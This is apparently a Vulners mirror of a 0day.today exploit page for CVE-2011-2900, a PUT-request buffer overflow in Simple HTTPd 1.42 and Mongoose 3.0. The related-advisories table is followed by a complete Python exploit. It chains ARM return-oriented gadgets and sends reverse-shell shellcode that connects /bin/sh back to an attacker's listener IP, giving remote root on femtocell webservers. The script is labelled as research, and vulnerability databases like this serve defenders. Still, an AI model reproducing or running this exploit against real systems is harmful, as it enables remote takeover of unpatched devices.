Lucene search
K

Simple HTTPd 1.42 PUT Request Remote Buffer Overflow Vulnerability

🗓️ 15 Aug 2011 00:00:00Reported by nionType 
zdt
 zdt
🔗 0day.today👁 42 Views

remote buffer overflow vulnerability in Simple HTTPd 1.42 PUT Reques

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2011-2900
5 Aug 201121:00
cve
Cvelist
CVE-2011-2900
5 Aug 201121:00
cvelist
Exploit DB
Simple HTTPd 1.42 - 'PUT' Remote Buffer Overflow
15 Aug 201100:00
exploitdb
exploitpack
Simple-HTTPD
8 Sep 201100:00
exploitpack
exploitpack
Simple HTTPd 1.42 - PUT Remote Buffer Overflow
15 Aug 201100:00
exploitpack
Fedora
[SECURITY] Fedora 14 Update: mongoose-3.0-2.fc14
8 Sep 201107:09
fedora
Fedora
[SECURITY] Fedora 16 Update: mongoose-3.0-2.fc16
7 Sep 201103:29
fedora
Fedora
[SECURITY] Fedora 15 Update: mongoose-3.0-2.fc15
8 Sep 201107:04
fedora
Tenable Nessus
Fedora 16 : mongoose-3.0-2.fc16 (2011-11636)
7 Sep 201100:00
nessus
Tenable Nessus
Fedora 15 : mongoose-3.0-2.fc15 (2011-11823)
9 Sep 201100:00
nessus
Rows per page
#!/usr/bin/env python
# part of femtocell research by TU-Berlin
# only for educational purposes
# Exploit Title: remote root on sfr/ubiquisys femtocell webserver (wsal/shttpd/mongoose)
# Author: nion
# Software: http://code.google.com/p/mongoose/ http://sourceforge.net/projects/shttpd/
# Version: shttpd <= 1.42, mongoose <= 3.0
# CVE: CVE-2011-2900
# Tested on: Linux (proprietary embedded distro) Linux 2.6.18-ubi-sys-V2.0.17
 
import socket, sys, time
import urllib, struct
 
if(len(sys.argv) < 3):
    print sys.argv[0] + " <target ip> <listening ip>"
    sys.exit(-1)
 
target   = sys.argv[1]
listener = sys.argv[2]
 
SHELLCODE  = 0xbc568        # shellcode backup in connect struct, heap is not randomized
STACK_LIFT = "%a0%ce%31%40" # didnt want to use urllib to encode at this point
                            # because it moves the heap address depending on if character is printable or not
                            # and i was too lazy to adjust the payload when cleaning up the exploit :)
 
buf = "PUT /"
buf += "A" * 107 # first fill bytes will not be 148 because stack layout looks different when leaving put_dir()
buf += STACK_LIFT
 
# repeated stack lifting
for i in xrange(0, 26):
    buf += "A" * 148
    buf += STACK_LIFT
 
buf += "B"*132    # padding to overwrite pc, last jump will go over this one
buf += STACK_LIFT # this will hit pc and produce our first jump
                  # add sp, sp, #132; pop {r4, r5, r6, r7, pc}
 
buf += "A"*12     # this will be our last stack lifting after
buf += STACK_LIFT # jumping through our buffer back up
 
# lets finish the path chunk and make some padding for the
# last stack lift before pc gets popped to a different place
buf+="AAAAAAAAA/"+"A"*138
 
 
# first jump
buf += urllib.quote(struct.pack("<L", 0x4032a410))
# --,
#   v
# prepare lr so we can properly return from __clear_cache
# 0x4032a410 <makecontext+28>:  pop {lr}        ; (ldr lr, [sp], #4)
# 0x4032a414 <makecontext+32>:  add sp, sp, #8  ; 0x8
# 0x4032a418 <makecontext+36>:  bx  lr
buf+=urllib.quote(struct.pack("<L", 0x403e937c)) # free_slotinfo+128, return from __clear_cache
buf+="DDDDDDDD" # skip sp lifting, 8 dummy bytes because sp is lifted before branching
 
# --, bx lr
#   v
# 0x403e937c <free_slotinfo+128>:   pop {r4, pc}
buf+="CCCC" # dummy r4
buf+=urllib.quote(struct.pack("<L", 0x402e5064)) # __aeabi_cfcmple+16
# --,
#   v
# 0x402e5064 <__aeabi_cfcmple+16>:   pop {r0, r1, r2, r3, pc}
buf+="AAAA" # dummy r0
buf+="CCCC" # dummy r1 (needed for __clear_cache)
buf+="DDDD"*2 # dummy r2, r3
buf+=urllib.quote(struct.pack("<L", 0x40364bbc)) # envz_merge+184
# --,
#   v
# 0x40364bbc <envz_merge+184>:  mov r0, r11
# 0x40364bc0 <envz_merge+188>:  pop {r4, r5, r6, r7, r8, r9, r11, pc}
# at this point r11 points to an address on the heap in front of
# our shellcode, e.g. 0xad220
buf+="FFFF"*7 # dummy r4-r9+r11
buf+=urllib.quote(struct.pack("<L", 0x402e5484)) # __clear_cache
# --,
#   v
# __clear_cache will return to our prepare lr (free_slotinfo+128)
# 0x403e937c <free_slotinfo+128>:   pop {r4, pc}
buf+="AAAA" # dummy r4
buf +=urllib.quote(struct.pack("<L", SHELLCODE)) # jump to shellcode
 
# shellcode + some testing garbage in front of it
buf += "A"*16 # some garbage padding in front of our payload, could be nops or whatever
 
# make listener shellcode friendly
evil_haxxor = urllib.quote("".join([struct.pack("B", int(x)) for x in listener.split('.')]))
 
# connect back shellcode
buf += "%01%10%8F%E2%11%FF%2F%E1%02%20%01%21%92%1A%0F%02%19%37%01%DF%06%1C%08%A1%10%22%02%37%01%DF%3F%27%02%21%30%1c%01%df%01%39%FB%D5%05%A0%92%1A%05%b4%69%46%0b%27%01%DF%C0%46%02%00%11%5c" + evil_haxxor + "%2f%62%69%6e%2f%73%68%00/ HTTP/1.0\r\n"
 
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target, 80))
s.send(buf)
s.send("\r\n")
print s.recv(1024)



#  0day.today [2018-03-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation